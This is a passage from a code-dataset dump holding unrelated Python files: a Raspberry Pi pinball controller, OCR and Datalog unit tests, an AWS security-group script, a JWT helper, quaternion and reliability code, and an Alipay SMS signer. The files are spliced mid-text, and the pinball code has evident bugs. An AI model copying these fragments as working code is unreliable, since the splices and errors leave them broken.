GPIO.OUT,initial=LOW)\n\n rightHole = Hole(\"rightHole\",18,rightHoleSwitch)\n GPIO.setup(rightHole.coilPin, GPIO.OUT,initial=LOW)\n\n leftHole = Hole(\"leftHole\",17,leftHoleSwitch)\n GPIO.setup(leftHole.coilPin, GPIO.OUT,initial=LOW)\n\n rightKicker = Kicker(\"rightKicker\",11,upperRightKickerBallDetectionSwitch,lowerRightKickerBallDetectionSwitch,rightKickerCoilEnabledSwitch)\n GPIO.setup(rightKicker.coilPin, GPIO.OUT,initial=LOW)\n\n leftKicker = Kicker(\"leftKicker\",5,upperLeftKickerBallDetectionSwitch,lowerLeftKickerBallDetectionSwitch,leftKickerCoilEnabledSwitch)\n GPIO.setup(leftKicker.coilPin, GPIO.OUT,initial=LOW)\n\n lowerLeftBumper = Bumper(\"lowerLeftBumper\",26,lowerLeftBumperBallDetectionSwitch,lowerLeftBumperCoilEnabledSwitch)\n GPIO.setup(lowerLeftBumper.coilPin, GPIO.OUT,initial=LOW)\n\n topLeftBumper = Bumper(\"topLeftBumper\",13,upperLeftBumperBallDetectionSwitch,upperLeftBumperCoilEnabledSwitch)\n GPIO.setup(topLeftBumper.coilPin, GPIO.OUT,initial=LOW)\n\n lowerRightBumper = Bumper(\"lowerRightBumper\",19,lowerRightBumperBallDetectionSwitch,lowerRightBumperCoilEnabledSwitch)\n GPIO.setup(lowerRightBumper.coilPin, GPIO.OUT,initial=LOW)\n\n topRightBumper = Bumper(\"topRightBumper\",21,upperRightBumperBallDetectionSwitch,upperRightBumperCoilEnabledSwitch)\n GPIO.setup(topRightBumper.coilPin, GPIO.OUT,initial=LOW)\n\n scrubMode = Scrubmode(\"Scrubmode\",10,9,lowerRightTarget,middleRightTarget,lowerLeftTarget,middleLeftTarget,scrubModePositionDetectionSwitch)\n GPIO.setup(scrubMode.coilPinOne, GPIO.OUT,initial=LOW)\n GPIO.setup(scrubMode.coilPinTwo, GPIO.OUT,initial=LOW)\n\n noobGate = Noobgate(\"Noobgate\",12,lowerRightBallGate,ballLaunchBallGate)\n GPIO.setup(noobGate.coilPin, GPIO.OUT,initial=LOW)\n\n \n coilList = [rightKicker, leftKicker, lowerLeftBumper, topLeftBumper, lowerRightBumper, topRightBumper, middleHole, rightHole, leftHole]\n\n \n state = 0\n resetSwitchDuration = 0.0\n resetMaxDuration = 2.0\n firstBall = True\n\n score = 0\n lives = 0\n screenScore = NumericProperty(score)\n screenLives = NumericProperty(lives)\n\n #scoreChanger = ScoreChanger()\n\n\n \n filename=\"highscore.txt\" \n file=open(filename,'r')\n plaats1=file.readline()\n plaats2=file.readline()\n plaats3 = file.readline()\n isRunning = True\n high_score1 = plaats1.split()\n highscore1 = high_score1[1]\n high_score2 = plaats2.split()\n highscore2 = high_score2[1]\n high_score3 = plaats3.split()\n highscore3 = high_score3[1]\n\n elapsedTime = 0.0\n\n scoreActive = False\n\n #STATES:\n #0 - Not Active\n #1 - Initializing\n #2 - New Ball\n #3 - Game Logic\n #4 - Tilt\n #5 - Game Over\n #-1 - Reset\n\n #State 0\n def notActive(self, deltaTime):\n #print (\"STATE 000000000000000000000000\")\n if self.startResetSwitch.getState() == 1:\n print (\"STATE 000000000000000000000000 iiiiiiiiiiiiffffffffffff statement\")\n self.state = 1\n\n #state 1\n def Initialize(self, deltaTime):\n print (\"STATE 11111111111111111111\")\n self.lives = 3\n self.score = 0 \n self.state = 2\n self.firstBall = True\n\n \n \n def disableCoils(self, disableFlippers):\n for x in self.coilList:\n #print (\"disablecoils functie, for x in self.coilList:\")\n x.disable()\n if disableFlippers == True:\n print (\"disablecoils functie, if disableFlippers == TRUE\")\n #self.scrubMode.disable()\n #self.noobGate.disable()\n GPIO.output(6, self.LOW) #flippers\n\n #state 2\n def NewBall(self, deltaTime):\n print (\"STATE 2222222222222222222222222\")\n self.disableCoils(True)\n if self.gameOverBallGate.getState() == 1:\n print (\"eerste if is geactiveerd\")\n if self.firstBall == False:\n self.lives-=1\n print (\"tweede if is geactiveerd\")\n if self.lives <= 0:\n self.state = -1\n print (\"derde if is geactiveerd\")\n return\n \n print (\"BALL PUSHER IS AAN\")\n GPIO.output(24, self.HIGH) #ball pusher\n sleep(0.2)\n GPIO.output(24, self.LOW) #ball pusher\n sleep(0.5)\n\n \n if self.ballLaunchBallGate.getState() == 0:\n print (\"ballLaunchBallGate is gelijk aan 0\")\n self.state=3\n self.firstBall = False\n self.noobGate.reset()\n #GPIO.output(12, self.HIGH) hekje\n #Turn on Flippers \n GPIO.output(6, self.HIGH) ##flippers\n\n def CheckOtherInputs(self):\n if(self.hPointsSwitch.getState() == 1 or self.upperLeftBallGate.getState() == 1 or self.upperRightBallGate.getState() == 1):\n if self.scoreActive == False:\n self.score += 100\n self.scoreActive == True;\n else:\n self.scoreActive = False\n if(self.lowerLeftScoreSwitch.getState() == 1 or self.lowerRightScoreSwitch.getState() == 1 or self.middleLeftScoreSwitch.getState() == 1 or self.middleRightScoreSwitch.getState() == 1 or self.upperLeftScoreSwitch.getState() == 1 or self.upperRightScoreSwitch.getState() == 1):\n if self.scoreActive == False:\n self.score += 2\n self.scoreActive == True;\n else:\n self.scoreActive = False \n if(self.lowerLeftBallGate.getState() == 1 or self.lowerRightBallGate.getState() == 1):\n if self.scoreActive == False:\n self.score += 15\n self.scoreActive == True;\n else:\n self.scoreActive = False \n\n #state 3\n def GameLogic(self, deltaTime):\n print (\"STATE 3333333333333333333333333333\")\n\n for x in self.coilList:\n self.score += x.update(deltaTime)\n self.scrubMode.update(deltaTime)\n self.noobGate.update(deltaTime)\n #self.CheckOtherInputs()\n if self.gameOverBallGate.getState() == 1:\n self.state = 2\n #elif self.tiltSwitch.getState() == 1:\n #self.state = 4\n \n\n\n #state 4\n def Tilt(self, deltaTime):\n print (\"STATE 4444444444444444444444\")\n #Zet alle Coils even aan\n self.disableCoils(True)\n if self.gameOverBallGate.getState() == 1 or self.ballLaunchBallGate.getState() == 0:\n self.state = 2\n\n #state 5\n def GameOver(self, deltaTime):\n print (\"STATE 555555555555555555555555\")\n self.disableCoils(True)\n\n #handle topscoreshizzle\n\n\n print(\"haat piraat\")\n if self.score >= FlipperGame.highscore3:\n high = Highscore()\n\n #Clock.schedule_interval(high.update, 1.0/60)\n if self.score >= FlipperGame.highscore2:\n if self.score >= FlipperGame.highscore1:\n print(\"plek 3 gekomen\")\n high.deplaats =1\n high.setScores()\n \n else:\n high.deplaats =2\n print(\"plek 2 gekomen\")\n high.setScores()\n \n else:\n high.deplaats =3\n print(\"plek 3 gekomen\")\n high.setScores()\n \n \n \n self.state = -1\n\n #state -1\n def Reset(self, deltaTime):\n print (\"STATE -------------11111111111111111111\")\n self.disableCoils(True)\n #self.scoreChanger.resetScoreReels\n self.scrubMode.disable()\n self.state = 0\n\n\n #creation of state dictionary\n\n stateFunctionsDict = {0: notActive, 1: Initialize, 2:NewBall, 3:GameLogic, 4:Tilt, 5:GameOver, -1:Reset}\n oldDebugMessage = \"\"\n\n #########################################\n #main function. called every 1/60 second#\n #########################################\n\n def update(self, dt):\n #calculate the time since the last call and update the elapsed time\n deltaTime = dt - self.elapsedTime\n self.elapsedTime = dt\n deltaTime = 1.0 / 60\n #print \"State: -1 \" + \" Score: 0\" + \" Lives: \" + str(self.lives)\n #print (\"State: \")+ str(self.state) + (\" Score: \") + str(self.score) + (\" Lives: \") + str(self.lives)\n debugMessage = \"State: \"+ str(self.state) + (\" Score: \") + str(self.score) + (\" Lives: \") + str(self.lives)\n if(debugMessage != self.oldDebugMessage):\n print(debugMessage)\n self.oldDebugMessage = debugMessage\n #reset the game if the resetswitch is pressed for 5 seconds\n if self.startResetSwitch.getState() == 1 and self.state > 1:\n self.resetSwitchDuration+=deltaTime\n if self.resetSwitchDuration>self.resetMaxDuration:\n self.state = -1\n self.resetSwitchDuration = 0.0\n\n else:\n self.resetSwitchDuration = 0.0\n\n #call the state function\n func = self.stateFunctionsDict[self.state]\n func(self, deltaTime)\n self.screenScore=self.score\n self.screenLives=self.lives\n #self.scoreChanger.changeScore(self.score, deltaTime)\n\n \n #def updateScoreReels(self, dt):\n #if self.state > 1:\n\n #if self.scoreChanger.active == False:\n #self.scoreChanger.changeScore(self.score)\n \n\n\n \nclass FullImage(Image):\n pass\n\n\nclass Highscore():\n \n def update(self,dt):\n self.clickerA# input om naam te schrijven\n self.clickerB# input om te bevestigen\n self.naam\n \n def getLetters():\n letter1 = 'a'\n letter2 = 'a'\n letter3 = 'a'\n naam = ' aaa '\n for i in range(o,3):\n if i ==0:\n letter1 = letter\n if i ==1:\n letter2 = letter\n if i ==2:\n letter3 = letter\n naam =(\" \",letter1,letter2,letter3,\"\")\n for x in range(0,27):\n if clickerA == True:\n x+=1\n if x==27:\n x=0\n if clickerB == True:\n letter=(chr(ord('a')+x))\n i +=1\n return naam\n def setScores(x):\n \n plaats =x\n name = getLetters()\n score = FlipperGame.Score1\n theHighscore = (name+ str(score)+\"\\n\")\n file=open(\"highscore.txt\",\"r+\")\n if plaats ==1: \n file.write(theHighscore)\n file.write(FlipperGame.plaats1)\n file.write(FlipperGame.plaats2)\n if plaats == 2:\n file.write(FlipperGame.plaats1)\n file.write(theHighscore)\n file.write(FlipperGame.plaats2)\n if plaats == 3:\n file.write(FlipperGame.plaats1)\n file.write(FlipperGame.plaats2)\n file.write(theHighscore)\n file.close()\n return 1\n\n \n\nclass FlipperApp(App):\n def build(self):\n \n game = FlipperGame()\n img = FullImage(source = '/home/pi/Desktop/Ruben#/Test/space.png') \n game.add_widget(img) \n Clock.schedule_interval(game.update, 1.0/60)\n #Clock.schedule_interval(game.updateScoreReels, 1.0)\n return game\n \n \nif __name__ == '__main__':\n try:\n \n FlipperApp().run()\n\n while True:\n sleep(1)\n\n finally:\n GPIO.cleanup()\n \n \n","sub_path":"main 3 20180604.py","file_name":"main 3 20180604.py","file_ext":"py","file_size_in_byte":15787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"36867136","text":"import cv2\nimport unittest\n\nfrom core.tools.image_processing.InfoBubbleFinder import info_bubble_finder\nfrom core.tools.image_processing.InfoBubbleReader import read_bubble_text\n\n\ndef read_all_bubble(img):\n bubbles = info_bubble_finder(img)\n bubble_dict = {}\n for x, y, w, h in bubbles:\n m = 5\n x, y, w, h = x + m, y + m, w - 2 * m, h - 2 * m\n crop = img[y:y + h, x:x + w, :]\n text = read_bubble_text(crop)\n bubble_dict[(x, y, w, h)] = text\n return bubble_dict\n\n\nclass TestFindBubbleText(unittest.TestCase):\n def test_read_all_bubbles(self):\n img = cv2.imread(\"/home/nicolas/Documents/Programation/Python/bot2pix/TestData/img/map_with_bubble1.png\")\n target = {\"Niveau 152\\n25 932 XP\\nMilimulou (28)\\nMilimulou (26)\\nMilimulou (24)\\nSanglier (28)\\n\"\n \"Ecurouille (24)\\nEcurouille (22)\",\n \"Niveau 84\\n24 882 XP\\nÉcurouille (30)\\nPrespic (28)\\nPrespic (26)\",\n \"Niveau 24\\n1 484 XP\\nPrespic (24)\"}\n\n bubbles_dict = read_all_bubble(img)\n\n self.assertEqual(len(bubbles_dict), 3)\n self.assertSetEqual(target, set(bubbles_dict.values()))\n","sub_path":"src/core/tools/image_processing/ReadAllBubbles.py","file_name":"ReadAllBubbles.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"201609452","text":"#!/usr/bin/python3\n\nimport boto3\n\nec2 = boto3.resource(\"ec2\")\n\n#security_group = ec2.create_security_group(GroupName='GrupoScript', Description='Criado por script')\n#print(security_group)\n\nsecurity_group = ec2.SecurityGroup('sg-08c055d0a1cf')\n\n#for group in security_groups:\n#\tprint(group.group_name, group.group_id)\n\nsecurity_group.authorize_ingress(\n\tFromPort=80,\n\tToPort=80,\n\tCidrIp='0.0.0.0/0',\n\tIpProtocol='tcp'\n)\n\nsecurity_group.revoke_ingress(\n\tFromPort=80,\n\tToPort=80,\n\tCidrIp='0.0.0.0/0',\n\tIpProtocol='tcp'\n)\t\n\nsecurity_group.delete()\n\n","sub_path":"golfinho.py","file_name":"golfinho.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"413559243","text":"import collections\n\nimport raco.scheme as scheme\nimport raco.datalog.datalog_test as datalog_test\nfrom raco import types\n\n\nclass TestQueryFunctions(datalog_test.DatalogTestCase):\n emp_table = collections.Counter([\n # id dept_id name salary\n (1, 2, \"Bill Howe\", 25000),\n (2, 1, \"Dan Halperin\", 90000),\n (3, 1, \"Andrew Whitaker\", 5000),\n (4, 2, \"Shumo Chu\", 5000),\n (5, 1, \"Victor Almeida\", 25000),\n (6, 3, \"Dan Suciu\", 90000),\n (7, 1, \"Magdalena Balazinska\", 25000)])\n\n emp_schema = scheme.Scheme([(\"id\", types.LONG_TYPE),\n (\"dept_id\", types.LONG_TYPE),\n (\"name\", types.STRING_TYPE),\n (\"salary\", types.LONG_TYPE)])\n\n emp_key = \"employee\"\n\n dept_table = collections.Counter([\n (1, \"accounting\", 5),\n (2, \"human resources\", 2),\n (3, \"engineering\", 2),\n (4, \"sales\", 7)])\n\n dept_schema = scheme.Scheme([(\"id\", types.LONG_TYPE),\n (\"name\", types.STRING_TYPE),\n (\"manager\", types.LONG_TYPE)])\n\n dept_key = \"department\"\n\n edge_table = collections.Counter([\n (1, 2),\n (2, 3),\n (3, 4),\n (4, 3),\n (3, 5),\n (4, 13),\n (5, 4),\n (1, 9),\n (7, 1),\n (6, 1),\n (10, 11),\n (11, 12),\n (12, 10),\n (13, 4),\n (10, 1)])\n\n edge_schema = scheme.Scheme([(\"src\", types.LONG_TYPE),\n (\"dst\", types.LONG_TYPE)])\n edge_key = \"Edge\"\n\n def setUp(self):\n super(TestQueryFunctions, self).setUp()\n\n self.db.ingest(TestQueryFunctions.emp_key,\n TestQueryFunctions.emp_table,\n TestQueryFunctions.emp_schema)\n\n self.db.ingest(TestQueryFunctions.dept_key,\n TestQueryFunctions.dept_table,\n TestQueryFunctions.dept_schema)\n\n self.db.ingest(TestQueryFunctions.edge_key,\n TestQueryFunctions.edge_table,\n TestQueryFunctions.edge_schema)\n\n def test_simple_join(self):\n expected = collections.Counter(\n [(e[2], d[1]) for e in self.emp_table.elements()\n for d in self.dept_table.elements() if e[1] == d[0]])\n\n query = \"\"\"\n EmpDepts(emp_name, dept_name) :- employee(a, dept_id, emp_name, b),\n department(dept_id, dept_name, c)\n \"\"\"\n\n self.check_result(query, expected)\n\n def test_filter(self):\n query = \"\"\"\n RichGuys(name) :- employee(a, b, name, salary), salary > 25000\n \"\"\"\n\n expected = collections.Counter(\n [(x[2],) for x in TestQueryFunctions.emp_table.elements()\n if x[3] > 25000])\n self.check_result(query, expected)\n\n def test_count(self):\n query = \"\"\"\n OutDegree(src, count(dst)) :- Edge(src, dst)\n \"\"\"\n\n counter = collections.Counter()\n for (src, _) in self.edge_table.elements():\n counter[src] += 1\n\n ex = [(src, cnt) for src, cnt in counter.iteritems()]\n expected = collections.Counter(ex)\n self.check_result(query, expected)\n\n def test_sum_reorder(self):\n query = \"\"\"\n SalaryByDept(sum(salary), dept_id) :- employee(id, dept_id, name, salary);\"\"\" # noqa\n results = collections.Counter()\n for emp in self.emp_table.elements():\n results[emp[1]] += emp[3]\n expected = collections.Counter([(y, x) for x, y in results.iteritems()]) # noqa\n self.check_result(query, expected)\n\n def test_aggregate_no_groups(self):\n query = \"\"\"\n Total(count(x)) :- Edge(x, y)\n \"\"\"\n expected = collections.Counter([\n (len(self.edge_table),)])\n self.check_result(query, expected)\n\n def test_multiway_join_chained(self):\n query = \"\"\"\n OneHop(x) :- Edge(1, x);\n TwoHop(x) :- OneHop(y), Edge(y, x);\n ThreeHop(x) :- TwoHop(y), Edge(y, x)\n \"\"\"\n\n expected = collections.Counter([(4,), (5,)])\n self.check_result(query, expected)\n\n def test_triangles(self):\n # TODO. Right now we have do this separately so that the x dict:\n try:\n return jwt.decode(\n token,\n get_config().jwt_secret_key,\n algorithms=[get_config().jwt_algorithm],\n options={'verify_exp': False}\n )\n except jwt.exceptions.DecodeError:\n abort(401, error='invalid token')\n\n @classmethod\n def decode(cls, token: str) -> dict:\n try:\n return jwt.decode(\n token,\n get_config().jwt_secret_key,\n algorithms=[get_config().jwt_algorithm],\n )\n except jwt.exceptions.DecodeError:\n abort(401, error='invalid token')\n except jwt.exceptions.ExpiredSignatureError:\n abort(401, error='token expired')\n\n @classmethod\n def encode(cls, payload: dict, expire_period: int = 3600):\n return jwt.encode(\n payload={\n **payload,\n 'exp': datetime.utcnow() + timedelta(seconds=expire_period),\n },\n key=get_config().jwt_secret_key,\n algorithm=get_config().jwt_algorithm,\n )\n","sub_path":"core/utils/token_helper.py","file_name":"token_helper.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"582209802","text":"''''\r\n% [q_mat] = quat_matrix (q)\r\n% To obtain the quaterniom product matrix, such that\r\n% quat_matrix(Q)*P = quat_prod(Q, P)\r\n%\r\n% inputs:\r\n% q - Input quaternion\r\n%\r\n% outputs:\r\n% q_mat - Quaternion product matrix (4 x 4)\r\n% \r\n% Valdemir Carrara, Jan, 2015.\r\n\r\n'''\r\n\r\n\r\nimport numpy as np\r\n\r\ndef quat_matrix(q):\r\n\r\n\tq_mat = np.array([ [ q[3], -q[2], q[1], q[0] ],\r\n\t\t\t\t\t [ q[2], q[3], -q[0], q[1] ],\r\n\t\t\t\t\t [-q[1], q[0], q[3], q[2] ],\r\n\t\t\t\t\t [-q[0], -q[1], -q[2], q[3] ] ])\r\n\r\n\tprint(q_mat)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tq = np.array([1, 2, 3, 4])\r\n\tquat_matrix(q)\r\n","sub_path":"Propat/quat_matrix.py","file_name":"quat_matrix.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"201789484","text":"\"\"\"\r\n\n\nIn this challenge you must create a program which takes a number `n` and\nreturns the length or number of digits in all numbers from 1 to `n`\nconcatenated.\n\n### Examples\n\n concatenation_sum(5) ➞ 5\n \n concatenation_sum(10) ➞ 11\n \n concatenation_sum(13) ➞ 17\n\n### Notes\n\nKeep in mind that the output is the number of digits in the concatenated\nnumber. For example, if the input was `5`, the output would be `5` because\n`12345` has `5` digits. Similarly when the input is `13` the ouput is `17`\nbecause `12345678910111213` has `17` digits.\n\n\"\"\"\r\n\ndef concatenation_sum(n):\n l=str(n)\n s=0\n for i in range(1,len(l)):\n s=s+9*10**(i-1)*i\n return s+(n-10**(len(l)-1)+1)*len(l)\n\n","sub_path":"WoPJpe3RzxGhLSXkv_8.py","file_name":"WoPJpe3RzxGhLSXkv_8.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"179172184","text":"#!/usr/bin/env python -O\r\n# -*- coding: utf-8 -*-\r\n#\r\n# tests.unit.TestFunction.py is part of The RTK Project\r\n#\r\n# All rights reserved.\r\n\r\n\"\"\"\r\nThis is the test class for testing Function module algorithms and models.\r\n\"\"\"\r\n\r\nimport sys\r\nfrom os.path import dirname\r\nsys.path.insert(0, dirname(dirname(dirname(__file__))) + \"/rtk\")\r\n\r\nimport unittest\r\nfrom nose.plugins.attrib import attr\r\n\r\nfrom function.Function import Model, Function # pylint: disable=E0401\r\n\r\n__author__ = 'Andrew Rowland'\r\n__email__ = 'andrew.rowland@reliaqual.com'\r\n__organization__ = 'ReliaQual Associates, LLC'\r\n__copyright__ = 'Copyright 2014 Andrew \"Weibullguy\" Rowland'\r\n\r\n\r\nclass TestFunctionModel(unittest.TestCase):\r\n \"\"\"\r\n Class for testing the Function model class.\r\n \"\"\"\r\n\r\n def setUp(self):\r\n \"\"\"\r\n Setup the test fixture for the Function class.\r\n \"\"\"\r\n\r\n self.DUT = Model()\r\n\r\n self._reliability_inputs = (0.005013, 0.004013)\r\n self._availability_inputs = (1.5, 2.25, 3.18, 2.16)\r\n self._cost_inputs = (118.92)\r\n self._mission_time = 10.0\r\n\r\n @attr(all=True, unit=True)\r\n def test01_function_create(self):\r\n \"\"\"\r\n (TestFunction) Test the creation of a Function class instance and check default values\r\n for public attributes are correct.\r\n \"\"\"\r\n\r\n self.assertTrue(isinstance(self.DUT, Model))\r\n\r\n self.assertEqual(self.DUT.revision_id, 0)\r\n self.assertEqual(self.DUT.function_id, 0)\r\n self.assertEqual(self.DUT.availability, 1.0)\r\n self.assertEqual(self.DUT.mission_availability, 1.0)\r\n self.assertEqual(self.DUT.function_code, '')\r\n self.assertEqual(self.DUT.cost, 0.0)\r\n self.assertEqual(self.DUT.mission_hazard_rate, 0.0)\r\n self.assertEqual(self.DUT.hazard_rate, 0.0)\r\n self.assertEqual(self.DUT.mmt, 0.0)\r\n self.assertEqual(self.DUT.mcmt, 0.0)\r\n self.assertEqual(self.DUT.mpmt, 0.0)\r\n self.assertEqual(self.DUT.mission_mtbf, 0.0)\r\n self.assertEqual(self.DUT.mtbf, 0.0)\r\n self.assertEqual(self.DUT.mttr, 0.0)\r\n self.assertEqual(self.DUT.name, '')\r\n self.assertEqual(self.DUT.remarks, '')\r\n self.assertEqual(self.DUT.n_modes, 0)\r\n self.assertEqual(self.DUT.n_parts, 0)\r\n self.assertEqual(self.DUT.function_type, 0)\r\n self.assertEqual(self.DUT.parent_id, -1)\r\n self.assertEqual(self.DUT.level, 0)\r\n self.assertEqual(self.DUT.safety_critical, 1)\r\n\r\n @attr(all=True, unit=True)\r\n def test02_function_set_attributes(self):\r\n \"\"\"\r\n (TestFunction) set_attributes should return a 0 error code on success\r\n \"\"\"\r\n\r\n _values = (0, 0, 1.0, 1.0, 'New Code', 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\r\n 0.0, 0.0, 0.0, 'New Name', 'New Remarks', 0, 0, 0, 4, 0, 1)\r\n (_error_code,\r\n _error_msg) = self.DUT.set_attributes(_values)\r\n self.assertEqual(_error_code, 0)\r\n\r\n @attr(all=True, unit=True)\r\n def test02a_function_set_attributes_missing_index(self):\r\n \"\"\"\r\n (TestFunction) set_attributes should return a 40 error code passed a wrong data type\r\n \"\"\"\r\n\r\n _values = (0, 0, 1.0, 1.0, 'New Code', 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\r\n 0.0, 0.0, 0.0, 'New Name', 'New Remarks', 0, 0, 0, 4, 0)\r\n (_error_code,\r\n _error_msg) = self.DUT.set_attributes(_values)\r\n self.assertEqual(_error_code, 40)\r\n\r\n @attr(all=True, unit=True)\r\n def test02b_function_set_attributes_wrong_type(self):\r\n \"\"\"\r\n (TestFunction) set_attributes should return a 10 error code when too few items are passed\r\n \"\"\"\r\n\r\n _values = (0, 0, 1.0, 1.0, 'New Code', 0.0, 0.0, 0.0, 0.0, None, 0.0,\r\n 0.0, 0.0, 0.0, 'New Name', 'New Remarks', 0, 0, 0, 4, 0, 1)\r\n (_error_code,\r\n _error_msg) = self.DUT.set_attributes(_values)\r\n self.assertEqual(_error_code, 10)\r\n\r\n @attr(all=True, unit=True)\r\n def test03_function_get_attributes(self):\r\n \"\"\"\r\n (TestFunction) the creation of a Function class instance and check default values\r\n for public attributes are correct.\r\n \"\"\"\r\n\r\n self.assertEqual(self.DUT.get_attributes(),\r\n (0, 0, 1.0, 1.0, '', 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\r\n 0.0, 0.0, 0.0, '', '', 0, 0, 0, -1, 0, 1))\r\n\r\n @attr(all=True, unit=True)\r\n def test04_calculate_reliability(self):\r\n \"\"\"\r\n (TestFunction) Test of Revision reliability calculations.\r\n \"\"\"\r\n\r\n # Check that everything is OK with good inputs.\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_reliability(self._reliability_inputs)\r\n self.assertEqual(_error_code, 0)\r\n self.assertAlmostEqual(self.DUT.hazard_rate, 0.005013)\r\n self.assertAlmostEqual(self.DUT.mission_hazard_rate, 0.004013)\r\n self.assertAlmostEqual(self.DUT.mtbf, 199.4813485)\r\n self.assertAlmostEqual(self.DUT.mission_mtbf, 249.1901321)\r\n\r\n # Check the TypeError conditions.\r\n self._reliability_inputs = (None, 0.004013)\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_reliability(self._reliability_inputs)\r\n self.assertEqual(_error_code, 10)\r\n\r\n self._reliability_inputs = (0.005013, None)\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_reliability(self._reliability_inputs)\r\n self.assertEqual(_error_code, 10)\r\n\r\n # Check the ZeroDivisionError conditions.\r\n self._reliability_inputs = (0.0, 0.004013)\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_reliability(self._reliability_inputs)\r\n self.assertEqual(_error_code, 20)\r\n\r\n self._reliability_inputs = (0.005013, 0.0)\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_reliability(self._reliability_inputs)\r\n self.assertEqual(_error_code, 20)\r\n\r\n @attr(all=True, unit=True)\r\n def test05_calculate_availability(self):\r\n \"\"\"\r\n (TestFunction) Test of Revision availability calculations.\r\n \"\"\"\r\n\r\n self.DUT.mtbf = 199.4813485\r\n self.DUT.mission_mtbf = 249.1901321\r\n\r\n # Check that everything is OK with good inputs.\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_availability((1.5, 2.25, 3.18, 2.16))\r\n self.assertEqual(_error_code, 0)\r\n self.assertAlmostEqual(self.DUT.availability, 0.9843088)\r\n self.assertAlmostEqual(self.DUT.mission_availability, 0.9873995)\r\n\r\n # Check the TypeError conditions.\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_availability((None, 2.25, 3.18, 2.16))\r\n self.assertEqual(_error_code, 10)\r\n\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_availability((1.5, None, 3.18, 2.16))\r\n self.assertEqual(_error_code, 10)\r\n\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_availability((1.5, 2.25, None, 2.16))\r\n self.assertEqual(_error_code, 10)\r\n\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_availability((1.5, 2.25, 3.18, None))\r\n self.assertEqual(_error_code, 10)\r\n\r\n # Check the ZeroDivisionError conditions.\r\n self.DUT.mtbf = 0.0\r\n\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_availability((1.5, 2.25, 0.0, 2.16))\r\n self.assertEqual(_error_code, 20)\r\n\r\n self.DUT.mtbf = 199.4813485\r\n self.DUT.mission_mtbf = 0.0\r\n\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_availability((1.5, 2.25, 0.0, 2.16))\r\n self.assertEqual(_error_code, 20)\r\n\r\n @attr(all=True, unit=True)\r\n def test06_calculate_costs(self):\r\n \"\"\"\r\n (TestFunction) Test of Revision cost calculations.\r\n \"\"\"\r\n\r\n self.DUT.hazard_rate = 0.005013\r\n\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_costs(self._cost_inputs,\r\n self._mission_time)\r\n self.assertEqual(_error_code, 0)\r\n self.assertEqual(self.DUT.cost, 118.92)\r\n #self.assertAlmostEqual(self.DUT.cost_per_failure, 0.5013)\r\n #self.assertAlmostEqual(self.DUT.cost_per_hour, 10.0)\r\n\r\n # Check TypeError conditions.\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_costs(None,\r\n self._mission_time)\r\n self.assertEqual(_error_code, 10)\r\n\r\n # Check ZeroDivisionError conditions.\r\n (_error_code,\r\n _error_msg) = self.DUT.calculate_costs(self._cost_inputs,\r\n 0.0)\r\n self.assertEqual(_error_code, 20)\r\n\r\n\r\nclass TestFunctionController(unittest.TestCase):\r\n \"\"\"\r\n Class for testing the Function data controller class.\r\n \"\"\"\r\n\r\n def setUp(self):\r\n \"\"\"\r\n Sets up the test fixture for the Function class.\r\n \"\"\"\r\n\r\n self.DUT = Function()\r\n\r\n @attr(all=True, unit=True)\r\n def test01_controller_create(self):\r\n \"\"\"\r\n (TestFunction) Test that Function data controller was created.\r\n \"\"\"\r\n\r\n self.assertTrue(isinstance(self.DUT, Function))\r\n self.assertEqual(self.DUT._last_id, None)\r\n self.assertEqual(self.DUT.dicFunctions, {})\r\n self.assertEqual(self.DUT.dao, None)\r\n","sub_path":"rtk-RQA/tests/unit/TestFunction.py","file_name":"TestFunction.py","file_ext":"py","file_size_in_byte":9362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"483494711","text":"import json\nimport time\nimport logging\nimport hashlib\nimport base64\nimport hmac\nimport requests\nfrom urllib import parse\nfrom uuid import uuid4\n\nfrom .models import AlipayAccount\nfrom demo.lib import constans\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass AlipayMessageProvider(object):\n OK = constans.ALL_OK\n NOT_OK = constans.NOT_OK\n def sign(self, data, token):\n sign_str = '&'.join([f'{key}={value}' for key, value in sorted(data.items())])\n hmac_s2 = 'GET&%2F&' + parse.quote(parse.quote(sign_str, safe='=&'))\n hmac_s1 = token + '&'\n res_s = hmac.new(hmac_s1.encode(), hmac_s2.encode(), hashlib.sha1).digest()\n return base64.b64encode(res_s).decode()\n\n def send_message(self, phone, code):\n alipay = AlipayAccount.objects.filter(status=1).order_by('?').first()\n if not alipay:\n logger.info('no alipay account')\n return {'code': self.NOT_OK, 'msg': 'No Account'}\n a_id = alipay.accesskeyid\n s_id = alipay.secret_key\n\n params = {\n 'AccessKeyId': a_id,\n 'Timestamp': time.strftime(\"%Y-%m-%dT%H:%M:%SZ\", time.localtime(time.time() - (60 * 60 * 